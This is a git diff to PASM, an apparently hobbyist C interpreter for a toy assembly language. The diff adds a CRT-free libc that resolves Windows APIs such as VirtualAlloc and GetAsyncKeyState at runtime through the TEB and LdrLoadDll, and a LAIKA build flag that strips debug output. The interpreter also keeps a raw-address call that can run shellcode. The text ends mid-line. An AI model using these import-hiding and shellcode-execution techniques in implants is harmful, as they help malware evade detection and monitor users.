diff --git a/.gitignore b/.gitignore index f713a6e..1fa41c6 100644 --- a/.gitignore +++ b/.gitignore @@ -4,6 +4,8 @@ x64/ Debug/ Release/ build/ +bin +obj *.obj *.a *.o diff --git a/Makefile b/Makefile index a85fdfe..279d47b 100644 --- a/Makefile +++ b/Makefile @@ -1,38 +1,36 @@ -SRC = src/pasm.c \ - src/file_utils.c \ - src/interpreter_states.c \ - src/instructions.c \ - src/api.c \ - src/debug.c +SRC = src/pasm.c \ + src/file_utils.c \ + src/interpreter_states.c \ + src/instructions.c \ + src/api.c \ + src/debug.c \ + src/libc.c OBJ = $(SRC:.c=.o) NAME = pasm CC = gcc CFLAGS = -Wall -Wextra -Wpedantic -Iinclude -s -Os -fno-ident -fno-asynchronous-unwind-tables CLIBS = -lm -all: $(NAME) +all: $(NAME) lib: $(OBJ) - @-mkdir build + @mkdir -p build ar rc build/lib$(NAME).a $(OBJ) -$(NAME): fclean $(NAME): lib -$(NAME): CLIBS += build/lib$(NAME).a -$(NAME): - $(CC) tests/interpreter.c $(CFLAGS) $(CLIBS) -o build/$(NAME) + $(CC) $(CFLAGS) -o build/$(NAME) tests/interpreter.c build/lib$(NAME).a $(CLIBS) interpreter: $(NAME) clean: - @-rm -f $(OBJ) - @-cd tests && $(MAKE) clean + @rm -f $(OBJ) + @cd tests && $(MAKE) clean fclean: clean - @-rm -rf build/ - @-cd tests && $(MAKE) fclean + @rm -rf build/ + @cd tests && $(MAKE) fclean re: fclean re: $(NAME) -.PHONY : all $(NAME) clean fclean re interpreter lib +.PHONY: all $(NAME) clean fclean re interpreter lib \ No newline at end of file diff --git a/examples/array.pasm b/examples/array.pasm index c3ae3d9..52adf7a 100644 --- a/examples/array.pasm +++ b/examples/array.pasm @@ -21,7 +21,6 @@ jmp loop2 main: mov a1, msg ; msg is a char * - loop: cmp *a1, 0 jne 1 diff --git a/msvc/interpreter.vcxproj b/msvc/interpreter.vcxproj index 9572e0f..92a17bd 100644 --- a/msvc/interpreter.vcxproj +++ b/msvc/interpreter.vcxproj @@ -72,19 +72,19 @@ true - $(SolutionDir)$(Configuration);$(LibraryPath) + ..\bin;$(LibraryPath) false - $(SolutionDir)$(Configuration);$(LibraryPath) + ..\bin;$(LibraryPath) true - $(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath) + ..\bin;$(LibraryPath) false - $(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath) + ..\bin;$(LibraryPath) diff --git a/msvc/interpreter.vcxproj.user b/msvc/interpreter.vcxproj.user index 2c2cff5..4bb038a 100644 --- a/msvc/interpreter.vcxproj.user +++ b/msvc/interpreter.vcxproj.user @@ -1,7 +1,7 @@  - ../examples/shellcode.pasm + ../examples/array.pasm WindowsLocalDebugger diff --git a/msvc/pasm.vcxproj b/msvc/pasm.vcxproj index dce9aba..718a4fd 100644 --- a/msvc/pasm.vcxproj +++ b/msvc/pasm.vcxproj @@ -72,15 +72,23 @@ true + ..\bin\ + ..\obj\ false + ..\bin\ + ..\obj\ true + ..\bin\ + ..\obj\ false + ..\bin\ + ..\obj\ @@ -89,6 +97,9 @@ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS true stdc17 + Default + false + false Console @@ -98,6 +109,11 @@ pasm_run_script + + + /DLAIKA %(AdditionalOptions) + + Level3 @@ -111,6 +127,8 @@ Size None MultiThreaded + false + false Console @@ -129,6 +147,9 @@ _DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS true stdc17 + Default + false + false Console @@ -151,6 +172,8 @@ Size None MultiThreaded + false + false Console @@ -168,6 +191,7 @@ + @@ -176,6 +200,7 @@ + diff --git a/msvc/pasm.vcxproj.filters b/msvc/pasm.vcxproj.filters index 24bbf44..07910f2 100644 --- a/msvc/pasm.vcxproj.filters +++ b/msvc/pasm.vcxproj.filters @@ -25,6 +25,9 @@ pasm + + pasm + @@ -42,5 +45,8 @@ pasm + + pasm + \ No newline at end of file diff --git a/msvc/socket_usage.vcxproj b/msvc/socket_usage.vcxproj index d65a18e..954c98a 100644 --- a/msvc/socket_usage.vcxproj +++ b/msvc/socket_usage.vcxproj @@ -72,19 +72,19 @@ true - $(SolutionDir)$(Configuration);$(LibraryPath) + ..\bin;$(LibraryPath);..\bin false - $(SolutionDir)$(Configuration);$(LibraryPath) + ..\bin;$(LibraryPath);..\bin true - $(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath) + $(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath);..\bin false - $(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath) + $(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath);..\bin @@ -95,7 +95,7 @@ stdc17 - Windows + Console true pasm.lib;%(AdditionalDependencies) @@ -111,7 +111,7 @@ stdc17 - Windows + Console true true true @@ -127,7 +127,7 @@ stdc17 - Windows + Console true pasm.lib;%(AdditionalDependencies) @@ -143,7 +143,7 @@ stdc17 - Windows + Console true true true diff --git a/src/api.c b/src/api.c index 407e9ea..58f6eb5 100644 --- a/src/api.c +++ b/src/api.c @@ -6,6 +6,7 @@ #endif #include +#include "libc.h" #ifdef _WIN32 extern int dprintf(int stream, const char *format, ...); @@ -17,8 +18,8 @@ void api_put() { int f = fstream; #ifdef _WIN32 - if (f == _fileno(stderr)) - f = _fileno(stdout); + if (f == 2) //stderr (could use _fileno(stderr) but it uses the stdlib) + f = 1; //stdout #else if (f == fileno(stderr)) f = fileno(stdout); @@ -31,46 +32,68 @@ void api_put() { dprintf(f, "%c", c); //using printf and not write because of the buffer } else { - dprintf(f, "%lld", state->STACK[state->STACK_IDX--]); +#ifdef _WIN32 + dprintf(f, "%ld", state->STACK[state->STACK_IDX--]); +#else + dprintf(f, "%lld", state->STACK[state->STACK_IDX--]); +#endif } } -void api_getasynckeystate() { - #ifdef _WIN32 - state->registers->eax = GetAsyncKeyState((int)state->STACK[state->STACK_IDX--]); - #else - state->STACK_IDX--; - state->registers->eax = 1; - #endif -} - -void api_virtualalloc() { -#ifdef _WIN32 - long long address = state->STACK[state->STACK_IDX--]; - long long size = state->STACK[state->STACK_IDX--]; - long long alloctype = state->STACK[state->STACK_IDX--]; - long long flprotect = state->STACK[state->STACK_IDX--]; - state->registers->eax = (long long)VirtualAlloc((LPVOID)address, (SIZE_T)size, (DWORD)alloctype, (DWORD)flprotect); -#else - state->STACK_IDX -= 4; - state->registers->eax = 1; -#endif -} - -void api_virtualfree() { -#ifdef _WIN32 - long long address = state->STACK[state->STACK_IDX--]; - long long size = state->STACK[state->STACK_IDX--]; - long long freetype = state->STACK[state->STACK_IDX--]; - state->registers->eax = VirtualFree((LPVOID)address, (SIZE_T)size, (DWORD)freetype); -#else - state->STACK_IDX -= 3; - state->registers->eax = 1; -#endif -} - void api_callrawaddr() { long long address = state->STACK[state->STACK_IDX--]; ((void (*)())address)(); } + +// generated APIs here + +#ifdef _WIN32 + typedef LPVOID(WINAPI *fVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD); +#endif +void api_VirtualAlloc(void) { +#ifdef _WIN32 + fVirtualAlloc pVirtualAlloc = GetApi(L"kernel32.dll", "VirtualAlloc"); + long long arg0 = state->STACK[state->STACK_IDX--]; + long long arg1 = state->STACK[state->STACK_IDX--]; + long long arg2 = state->STACK[state->STACK_IDX--]; + long long arg3 = state->STACK[state->STACK_IDX--]; + state->registers->eax = (long long)pVirtualAlloc((LPVOID)arg0, (DWORD)arg1, (DWORD)arg2, (DWORD)arg3); +#else + state->STACK_IDX -= 4; + state->registers->eax = 1; +#endif +} + + +#ifdef _WIN32 + typedef BOOL(WINAPI *fVirtualFree)(LPVOID, DWORD, DWORD); +#endif +void api_VirtualFree(void) { +#ifdef _WIN32 + fVirtualFree pVirtualFree = GetApi(L"kernel32.dll", "VirtualFree"); + long long arg0 = state->STACK[state->STACK_IDX--]; + long long arg1 = state->STACK[state->STACK_IDX--]; + long long arg2 = state->STACK[state->STACK_IDX--]; + state->registers->eax = (long long)pVirtualFree((LPVOID)arg0, (DWORD)arg1, (DWORD)arg2); +#else + state->STACK_IDX -= 3; + state->registers->eax = 1; +#endif +} + + +#ifdef _WIN32 + typedef SHORT(WINAPI *fGetAsyncKeyState)(int); +#endif +void api_GetAsyncKeyState(void) { +#ifdef _WIN32 + fGetAsyncKeyState pGetAsyncKeyState = GetApi(L"user32.dll", "GetAsyncKeyState"); + long long arg0 = state->STACK[state->STACK_IDX--]; + state->registers->eax = (long long)pGetAsyncKeyState((int)arg0); +#else + state->STACK_IDX -= 1; + state->registers->eax = 1; +#endif +} + diff --git a/src/api.h b/src/api.h index 89dc6f1..81bb96a 100644 --- a/src/api.h +++ b/src/api.h @@ -2,17 +2,25 @@ #include "instructions.h" void api_put(); -void api_getasynckeystate(); -void api_virtualalloc(); -void api_virtualfree(); void api_callrawaddr(); +// generated APIs here +void api_VirtualAlloc(); +void api_VirtualFree(); +void api_GetAsyncKeyState(); + +//end + static const command_t api_map[] = { {.command = "put", .fptr = api_put}, - {.command = "GetAsyncKeyState", .fptr = api_getasynckeystate}, - {.command = "VirtualAlloc", .fptr = api_virtualalloc}, - {.command = "VirtualFree", .fptr = api_virtualfree}, {.command = "CallRawAddress", .fptr = api_callrawaddr}, +// generated APIs here + {.command = "VirtualAlloc", .fptr = api_VirtualAlloc}, + {.command = "VirtualFree", .fptr = api_VirtualFree}, + {.command = "GetAsyncKeyState", .fptr = api_GetAsyncKeyState}, + +//end + {.command = NULL, .fptr = NULL} }; diff --git a/src/debug.c b/src/debug.c index df9c161..1ee58ba 100644 --- a/src/debug.c +++ b/src/debug.c @@ -2,9 +2,11 @@ #include "interpreter_states.h" #include #include +#include "libc.h" #include "debug.h" void show_registers() { +#ifndef LAIKA printf("--Registers--\n"); printf("a1: %-3lld | ", state->registers->a1); printf("a2: %-3lld | ", state->registers->a2); @@ -16,25 +18,31 @@ void show_registers() { printf("a8: %-3lld | ", state->registers->a8); printf("a9: %-3lld\n", state->registers->a9); printf("eax: %-3lld\n\n", state->registers->eax); +#endif } void show_stack() { +#ifndef LAIKA printf("--STACK--\n"); printf("Elements: %d\n\n", state->STACK_IDX); for (int i = 0; i < state->STACK_IDX; i++) printf("[%d]: %lld\n", i, state->STACK[state->STACK_IDX]); printf("\n"); +#endif } void show_labels() { +#ifndef LAIKA printf("\n\n-----LABELS-----\n"); printf("format:\tlabel|line\n"); for (int i = 0; i < state->num_labels; i++) printf("%s|%d\n", state->labels[i], state->labels_values[i]); printf("\n\n-----LABELS-----\n"); +#endif } void show_arrays() { +#ifndef LAIKA printf("\n\n-----ARRAYS-----\n"); for (int i = 0; i < state->num_arrays; i++) { printf("%s: ", state->ARRAYS_NAME[i]); @@ -43,42 +51,52 @@ void show_arrays() { printf("...\n"); } printf("\n\n-----ARRAYS-----\n"); +#endif } void show_breakpoints(int *bp) { +#ifndef LAIKA printf("---Breakpoints---\n"); for (int i = 0; bp[i] != 0 && i < 255; i++) { if (bp[i] + 1 == -1) continue; //deleted bp printf("bp line %d\n", bp[i] + 1); } printf("---Breakpoints---\n"); +#endif } void show_states() { +#ifndef LAIKA printf("\n\n--------PASM STATE--------\n"); show_registers(); show_labels(); show_stack(); show_arrays(); printf("\n\n--------PASM STATE--------\n"); +#endif } void bp_add(int *bp, int line) { +#ifndef LAIKA int i = 0; for (i = 0; bp[i] != 0 && bp[i] != -1 && i < 255; i++); bp[i] = line; +#endif } void bp_rem(int *bp, int line) { +#ifndef LAIKA int i = 0; for (i = 0; bp[i] != 0 && i < 255; i++) { if (bp[i] == line) bp[i] = -2; } return; +#endif } int add_breakpoint(char *in, int *bp) { +#ifndef LAIKA for (int i = 0; i < state->num_labels; i++) { if (strncmp(state->labels[i], in, strlen(in) - 1) == 0) { bp_add(bp, state->labels_values[i] + 1); @@ -92,9 +110,11 @@ int add_breakpoint(char *in, int *bp) { bp_add(bp, line - 1); printf("breakpoint added at line %d.\n", line); return 0; +#endif } int rem_breakpoint(char *in, int *bp) { +#ifndef LAIKA for (int i = 0; i < state->num_labels; i++) { if (strncmp(state->labels[i], in, strlen(in) - 1) == 0) { bp_rem(bp, state->labels_values[i] + 1); @@ -108,9 +128,11 @@ int rem_breakpoint(char *in, int *bp) { bp_rem(bp, line - 1); printf("breakpoint at line %d deleted.\n", line); return 0; +#endif } void debug_input(char *line) { +#ifndef LAIKA static int should_continue = 0; static int breakpoints[256] = {0}; @@ -179,4 +201,5 @@ void debug_input(char *line) { printf("d [line/label]: deletes a breakpoint on line line/label]\n"); } } +#endif } diff --git a/src/debug.h b/src/debug.h index ea9fd76..d6ef6a4 100644 --- a/src/debug.h +++ b/src/debug.h @@ -1,3 +1,5 @@ #pragma once +#include "libc.h" + void debug_input(char *line); diff --git a/src/file_utils.c b/src/file_utils.c index 30978b6..05e39ef 100644 --- a/src/file_utils.c +++ b/src/file_utils.c @@ -3,6 +3,7 @@ #include #include "interpreter_states.h" +#include "libc.h" #define MAX_LINE 2048 @@ -12,6 +13,7 @@ extern int dprintf(int stream, const char *format, ...); size_t line_count = 0; int read_script(const char *filename, char ***buf, size_t *lines) { +#ifndef LAIKA FILE *script = fopen(filename, "r"); if (script == NULL) { dprintf(fstream, "Could not open %s.\n", filename); @@ -25,11 +27,11 @@ int read_script(const char *filename, char ***buf, size_t *lines) { line[length - 1] = '\0'; } #ifdef _WIN32 - char *line_copy = _strdup(line); + char *line_copy = strdup_(line); #else char *line_copy = strdup(line); #endif - char **temp = realloc(*buf, (line_count + 1) * sizeof(char*)); + char **temp = realloc_(*buf, (line_count + 1) * sizeof(char*)); if (temp == NULL) { dprintf(fstream, "Error allocating memory.\n"); return 1; @@ -44,15 +46,16 @@ int read_script(const char *filename, char ***buf, size_t *lines) { *lines = line_count; fclose(script); +#endif return 0; } -void free_script(char **buf) { +void free__script(char **buf) { if (!buf) return; for (size_t i = 0; i < line_count; ++i) if (buf[i]) - free(buf[i]); - free(buf); - free_state(); + free_(buf[i]); + free_(buf); + free__state(); } diff --git a/src/file_utils.h b/src/file_utils.h index 93bd6b1..764418a 100644 --- a/src/file_utils.h +++ b/src/file_utils.h @@ -2,4 +2,4 @@ #include int read_script(const char *filename, char ***buf, size_t *lines); -void free_script(char **buf); +void free__script(char **buf); diff --git a/src/instructions.c b/src/instructions.c index 96959af..824ba13 100644 --- a/src/instructions.c +++ b/src/instructions.c @@ -1,13 +1,14 @@ #include "instructions.h" #include "interpreter_states.h" #include "api.h" +#include "libc.h" #include #include #include bool is_array(char* arg) { for (int i = 0; i < state->num_arrays; i++) - if (strcmp(state->ARRAYS_NAME[i], arg) == 0) + if (strcmp__(state->ARRAYS_NAME[i], arg) == 0) return true; return false; } @@ -17,17 +18,17 @@ bool is_reg(char* arg) { ++arg; if (is_array(arg)) return true; - return (strcmp(arg, "eax") == 0) || (((arg[0] == 'a' && + return (strcmp__(arg, "eax") == 0) || (((arg[0] == 'a' && ('1' <= arg[1] && arg[1] <= '9'))) && strlen(arg) == 2); } bool is_num(char* arg) { - return (atoi(arg) != 0 || (arg[0] == '0' && strlen(arg) == 1)); + return (strtol_(arg, NULL, 10) != 0 || (arg[0] == '0' && strlen(arg) == 1)); } bool check_args(s_arguments *args, int num_in_first, int num_args) { - int arg_num = strcmp(args->arg2, "") != 0; - arg_num += strcmp(args->arg1, "") != 0; + int arg_num = strcmp__(args->arg2, "") != 0; + arg_num += strcmp__(args->arg1, "") != 0; if (arg_num != num_args) { state->last_check_args_code = WRONG_NUMBER; return false; @@ -50,7 +51,7 @@ long long* get_reg(char* reg_char) { if (reg_char[0] == '&' || reg_char[0] == '*') ++reg_char; for (int i = 0; i < state->num_arrays; i++) - if (strcmp(state->ARRAYS_NAME[i], reg_char) == 0) + if (strcmp__(state->ARRAYS_NAME[i], reg_char) == 0) return (long long *)&state->ARRAYS_VALUES[i]; switch (reg_char[1]) { case '1' : @@ -91,9 +92,9 @@ long long get_value(char* arg) { } else { if (strlen(arg) > 2 && arg[0] == '0' && arg[1] == 'x') { - ret = strtol(arg, NULL, 16); + ret = strtol_(arg, NULL, 16); } - ret = atoi(arg); + ret = strtol_(arg, NULL, 10); } return ret; } @@ -103,7 +104,7 @@ const command_t *find_command(const command_t *commands, char *func) if (func == NULL) return NULL; for (int index = 0; commands[index].fptr != NULL; index += 1) { - if (strcmp(func, commands[index].command) == 0) { + if (strcmp__(func, commands[index].command) == 0) { return &commands[index]; } } @@ -151,7 +152,7 @@ void ret() { void jmp() { if (state->RET_STACK_IDX != -1 && !check_ret_stack()) return; - if (strcmp(state->args->arg1, "return") == 0) { + if (strcmp__(state->args->arg1, "return") == 0) { ret(); return; } @@ -161,13 +162,13 @@ void jmp() { if (state->labels[i] == NULL) break; if (strlen(state->labels[i]) - 1 != strlen(state->args->arg1)) continue; - if (strncmp(state->args->arg1, state->labels[i], strlen(state->labels[i]) - 1) == 0) { + if (strncmp__(state->args->arg1, state->labels[i], strlen(state->labels[i]) - 1) == 0) { state->RET_STACK[++state->RET_STACK_IDX] = state->curr_line; state->curr_line = state->labels_values[i]; return; } } - int line_off = atoi(state->args->arg1); + int line_off = strtol_(state->args->arg1, NULL, 10); if (line_off) { state->curr_line += line_off; return; @@ -222,7 +223,9 @@ void _sqrt() { return; } +#ifndef LAIKA //Realistically Laika won't ever need sqrt, + that creates linker errors with the CRT *get_reg(state->args->arg1) = (long long)sqrt(get_value(state->args->arg1)); +#endif } void neg() { @@ -238,7 +241,30 @@ void mul() { return; } +#ifdef LAIKA + //MSVC wants to link __allmul, but a mul is just a lot of add, isn't it ? + + long long v1 = *get_reg(state->args->arg1); + long long v2 = get_value(state->args->arg2); + long long result = 0; + int isNegative = 0; + + if (v1 < 0) { + v1 = -v1; + isNegative = !isNegative; + } + if (v2 < 0) { + v2 = -v2; + isNegative = !isNegative; + } + while (v2 > 0) { + result += v1; + v2--; + } + v1 = isNegative ? -result : result; +#else *get_reg(state->args->arg1) *= get_value(state->args->arg2); +#endif } void _div() { @@ -246,7 +272,32 @@ void _div() { return; } +#ifdef LAIKA + //MSVC wants to link __alldiv, but a div is just a lot of sub, isn't it ? + + long long dividend = *get_reg(state->args->arg1); + long long divisor = get_value(state->args->arg2); + + long long quotient = 0; + long long sign = 1; + + if (dividend < 0) { + dividend = -dividend; + sign = -sign; + } + if (divisor < 0) { + divisor = -divisor; + sign = -sign; + } + while (dividend >= divisor) { + dividend -= divisor; + quotient++; + } + + dividend = sign * quotient; +#else *get_reg(state->args->arg1) /= get_value(state->args->arg2); +#endif } void mov() { diff --git a/src/interpreter_states.c b/src/interpreter_states.c index 9620ecb..27bcf78 100644 --- a/src/interpreter_states.c +++ b/src/interpreter_states.c @@ -1,4 +1,5 @@ #include "interpreter_states.h" +#include "libc.h" #include #include #include @@ -9,42 +10,42 @@ extern int dprintf(int stream, const char *format, ...); s_state *state = NULL; int init_state() { - state = malloc(sizeof(s_state)); + state = malloc_(sizeof(s_state)); if (state == NULL) return 1; - memset(state, 0, sizeof(s_state)); - state->registers = malloc(sizeof(s_registers)); + memset__(state, 0, sizeof(s_state)); + state->registers = malloc_(sizeof(s_registers)); if (state->registers == NULL) { - free(state); + free_(state); return 1; } - memset(state->registers, 0, sizeof(s_registers)); - state->args = malloc(sizeof(s_arguments)); + memset__(state->registers, 0, sizeof(s_registers)); + state->args = malloc_(sizeof(s_arguments)); if (state->args == NULL) { - free(state->registers); - free(state); + free_(state->registers); + free_(state); return 1; } - state->args->arg1 = malloc(sizeof(char) * MAX_ARG_SIZE); - state->args->arg2 = malloc(sizeof(char) * MAX_ARG_SIZE); + state->args->arg1 = malloc_(sizeof(char) * MAX_ARG_SIZE); + state->args->arg2 = malloc_(sizeof(char) * MAX_ARG_SIZE); if (state->args->arg1 == NULL || state->args->arg2 == NULL) { - free(state->registers); - free(state); + free_(state->registers); + free_(state); return 1; } - memset(state->args->arg1, 0, sizeof(char) * MAX_ARG_SIZE); - memset(state->args->arg2, 0, sizeof(char) * MAX_ARG_SIZE); - state->labels_values = malloc(sizeof(int) * MAX_LABELS); + memset__(state->args->arg1, 0, sizeof(char) * MAX_ARG_SIZE); + memset__(state->args->arg2, 0, sizeof(char) * MAX_ARG_SIZE); + state->labels_values = malloc_(sizeof(int) * MAX_LABELS); if (state->labels_values == NULL) { - free(state->registers); - free(state->args->arg1); - free(state->args->arg2); - free(state); + free_(state->registers); + free_(state->args->arg1); + free_(state->args->arg2); + free_(state); return 1; } - memset(state->labels_values, 0, sizeof(int) * MAX_LABELS); - memset(state->RET_STACK, -1, sizeof(int) * STACK_SIZE); - memset(state->STACK, 0, sizeof(long long) * STACK_SIZE); + memset__(state->labels_values, 0, sizeof(int) * MAX_LABELS); + memset__(state->RET_STACK, -1, sizeof(int) * STACK_SIZE); + memset__(state->STACK, 0, sizeof(long long) * STACK_SIZE); state->num_arrays = 0; state->RET_STACK_IDX = -1; state->STACK_IDX = -1; @@ -54,28 +55,28 @@ int init_state() { return 0; } -void free_state() { +void free__state() { for (int i = 0; i < state->num_labels; i++) { if (state->labels[i]) - free(state->labels[i]); + free_(state->labels[i]); } - free(state->labels); - free(state->labels_values); + free_(state->labels); + free_(state->labels_values); for (int j = 0; j < state->num_arrays; j++) { if (state->ARRAYS_NAME[j]) - free(state->ARRAYS_NAME[j]); + free_(state->ARRAYS_NAME[j]); if (state->ARRAYS_VALUES[j]) - free(state->ARRAYS_VALUES[j]); + free_(state->ARRAYS_VALUES[j]); } - free(state->ARRAYS_NAME); - free(state->ARRAYS_VALUES); - free(state->registers); - free(state->args->arg1); - free(state->args->arg2); - free(state->args); + free_(state->ARRAYS_NAME); + free_(state->ARRAYS_VALUES); + free_(state->registers); + free_(state->args->arg1); + free_(state->args->arg2); + free_(state->args); - free(state); + free_(state); } void set_exit_state(int exit_state) { @@ -93,11 +94,11 @@ LABEL_ERR add_label(char *label, int line) { return LABEL_MAX; for (int i = 0; i < state->num_labels; i++) - if (strcmp(label, state->labels[i]) == 0) + if (strcmp__(label, state->labels[i]) == 0) return LABEL_ALREADY_EXISTS; #ifdef _WIN32 - char *line_copy = _strdup(label); + char *line_copy = strdup_(label); #else char *line_copy = strdup(label); #endif @@ -105,7 +106,7 @@ LABEL_ERR add_label(char *label, int line) { dprintf(fstream, "Error allocating memory.\n"); return LABEL_ERROR; } - char **temp = realloc(state->labels, (state->num_labels + 1) * sizeof(char*)); + char **temp = realloc_(state->labels, (state->num_labels + 1) * sizeof(char*)); if (temp == NULL) { dprintf(fstream, "Error allocating memory.\n"); return LABEL_ERROR; @@ -118,35 +119,35 @@ LABEL_ERR add_label(char *label, int line) { ARRAY_ERR add_array(char* line) { #ifdef _WIN32 - char *line_copy = _strdup(line); + char *line_copy = strdup_(line); #else char *line_copy = strdup(line); #endif - if (strncmp(line, "set", 3) != 0) { - free(line_copy); + if (strncmp__(line, "set", 3) != 0) { + free_(line_copy); return ARRAY_NOT_AN_ARRAY; } - char *ptr = strtok(line_copy, " "); //set - ptr = strtok(NULL, " "); //array name + char *ptr = strtok_(line_copy, " "); //set + ptr = strtok_(NULL, " "); //array name if (ptr == NULL || strlen(line) <= (4 + strlen(ptr))) { - free(line_copy); + free_(line_copy); return ARRAY_ERROR; } - char **temp = realloc(state->ARRAYS_NAME, (state->num_arrays + 1) * sizeof(char*)); + char **temp = realloc_(state->ARRAYS_NAME, (state->num_arrays + 1) * sizeof(char*)); if (temp == NULL) { dprintf(fstream, "Error allocating memory.\n"); return ARRAY_ERROR; } state->ARRAYS_NAME = temp; #ifdef _WIN32 - state->ARRAYS_NAME[state->num_arrays] = _strdup(ptr); + state->ARRAYS_NAME[state->num_arrays] = strdup_(ptr); #else state->ARRAYS_NAME[state->num_arrays] = strdup(ptr); #endif ptr += strlen(ptr) + 1; //getting the data in the array, data is data after all if (ptr == NULL || ptr[0] == ' ' || ptr[0] == '\0') { - free(line_copy); + free_(line_copy); return ARRAY_ERROR; } @@ -157,19 +158,19 @@ ARRAY_ERR add_array(char* line) { ++ptr; while (*ptr++ != '"') { if (*ptr == '\0') { - free(line_copy); + free_(line_copy); return ARRAY_ERROR; //" is never closed } ++array_size; } - long long *tmp = realloc(arr, array_size * sizeof(long long)); + long long *tmp = realloc_(arr, array_size * sizeof(long long)); if (tmp == NULL || array_size == 0) { dprintf(fstream, "Error allocating memory.\n"); return ARRAY_ERROR; } arr = tmp; - memset(arr, 0, array_size); - long long **temp = realloc(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*)); + memset__(arr, 0, array_size); + long long **temp = realloc_(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*)); if (temp == NULL) { dprintf(fstream, "Error allocating memory.\n"); return ARRAY_ERROR; @@ -180,10 +181,10 @@ ARRAY_ERR add_array(char* line) { ++ptr; while (*ptr != '"') { if (*ptr == '\0' || i >= array_size) { - free(line_copy); + free_(line_copy); return ARRAY_ERROR; //" is never closed } - if (strncmp(ptr, "\\0", 2) == 0) { + if (strncmp__(ptr, "\\0", 2) == 0) { arr[i++] = 0; break; } @@ -192,58 +193,58 @@ ARRAY_ERR add_array(char* line) { state->ARRAYS_VALUES[state->num_arrays++] = arr; return ARRAY_OK; } - ptr = strtok(ptr, ","); + ptr = strtok_(ptr, ","); while (ptr != NULL) { array_size++; - ptr = strtok(NULL, ","); + ptr = strtok_(NULL, ","); } - long long *tmp2 = realloc(arr, array_size * sizeof(long long)); + long long *tmp2 = realloc_(arr, array_size * sizeof(long long)); if (tmp2 == NULL || array_size == 0) { dprintf(fstream, "Error allocating memory.\n"); return ARRAY_ERROR; } arr = tmp2; - memset(arr, 0, array_size); - long long **temp2 = realloc(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*)); + memset__(arr, 0, array_size); + long long **temp2 = realloc_(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*)); if (temp2 == NULL) { dprintf(fstream, "Error allocating memory.\n"); return ARRAY_ERROR; } state->ARRAYS_VALUES = temp2; ptr = line + 4 + strlen(state->ARRAYS_NAME[state->num_arrays]) + 1; //leave me alone i'm tired - ptr = strtok(ptr, ","); + ptr = strtok_(ptr, ","); int j = 0; while (ptr != NULL && j < array_size) { if (ptr[0] == ' ') ++ptr; if (strlen(ptr) > 2 && ptr[0] == '0' && ptr[1] == 'x') { - arr[j++] = strtol(ptr, NULL, 16); + arr[j++] = strtol_(ptr, NULL, 16); } else { - arr[j++] = atoi(ptr); + arr[j++] = strtol_(ptr, NULL, 10); } - ptr = strtok(NULL, ","); + ptr = strtok_(NULL, ","); } state->ARRAYS_VALUES[state->num_arrays++] = arr; - free(line_copy); + free_(line_copy); return ARRAY_OK; } char *extract_arg(char *ptr, int a) { char *arg = 0; - char *ptr2 = strstr(ptr, ";"); + char *ptr2 = strstr__(ptr, ";"); if (ptr2) ptr2[0] = '\0'; if (a == 0) { - arg = strtok(ptr, ","); + arg = strtok_(ptr, ","); } else { - arg = strtok(NULL, ","); + arg = strtok_(NULL, ","); } if (arg == NULL) return NULL; if (arg[0] == ' ') arg++; - ptr2 = strstr(arg, " "); + ptr2 = strstr__(arg, " "); if (ptr2) ptr2[0] = '\0'; return arg; @@ -267,26 +268,26 @@ int parse_arguments(char *line) { strcpy(state->args->arg2, ""); #ifdef _WIN32 - char *line_cpy = _strdup(line); + char *line_cpy = strdup_(line); #else char *line_cpy = strdup(line); #endif - char *ptr = strstr(line_cpy, " "); + char *ptr = strstr__(line_cpy, " "); char *arg = 0; if (!ptr) { - free(line_cpy); + free_(line_cpy); return 0; } if ((arg = extract_arg(ptr, 0)) == NULL) { - free(line_cpy); + free_(line_cpy); return 0; } strcpy(state->args->arg1, arg); if ((arg = extract_arg(ptr, 1)) == NULL) { - free(line_cpy); + free_(line_cpy); return 0; } strcpy(state->args->arg2, arg); - free(line_cpy); + free_(line_cpy); return 0; } diff --git a/src/interpreter_states.h b/src/interpreter_states.h index 47fc149..86e5327 100644 --- a/src/interpreter_states.h +++ b/src/interpreter_states.h @@ -73,7 +73,7 @@ typedef enum E_ARRAY_ERR { } ARRAY_ERR; int init_state(); -void free_state(); +void free__state(); void set_exit_state(int exit_state); int get_exit_state(); LABEL_ERR add_label(char *label, int line); diff --git a/src/libc.c b/src/libc.c new file mode 100644 index 0000000..ae1e8ac --- /dev/null +++ b/src/libc.c @@ -0,0 +1,437 @@ +#include "libc.h" + +#ifdef _WIN32 +HANDLE _crt_heap_ = 0; + +#include +#ifdef _M_X64 + #define GetTEB() ((PTEB)__readgsqword(FIELD_OFFSET(NT_TIB, Self))) +#else + #define GetTEB() ((PTEB)__readfsdword(FIELD_OFFSET(NT_TIB, Self))) +#endif + +typedef LPVOID(WINAPI* fHeapAlloc)(HANDLE, DWORD, SIZE_T); +typedef BOOL(WINAPI* fHeapFree)(HANDLE, DWORD, LPVOID); +typedef HANDLE(WINAPI* fHeapCreate)(DWORD, SIZE_T, SIZE_T); +typedef LPVOID(WINAPI* fHeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T); +typedef NTSTATUS(NTAPI* fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); +typedef NTSTATUS(NTAPI* fLdrLoadDll)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE); +typedef HMODULE(WINAPI* fLoadLibraryW)(LPCWSTR); +typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR); + +fGetProcAddress pGetProcAddress = NULL; +fLoadLibraryW pLoadLibraryW = NULL; + +fHeapAlloc pHeapAlloc = NULL; +fHeapFree pHeapFree = NULL; +fHeapCreate pHeapCreate = NULL; +fHeapReAlloc pHeapReAlloc = NULL; +#endif + +#ifndef _WIN32 +#include +#include +#endif + +#define IS_LOW(c) ((c >= 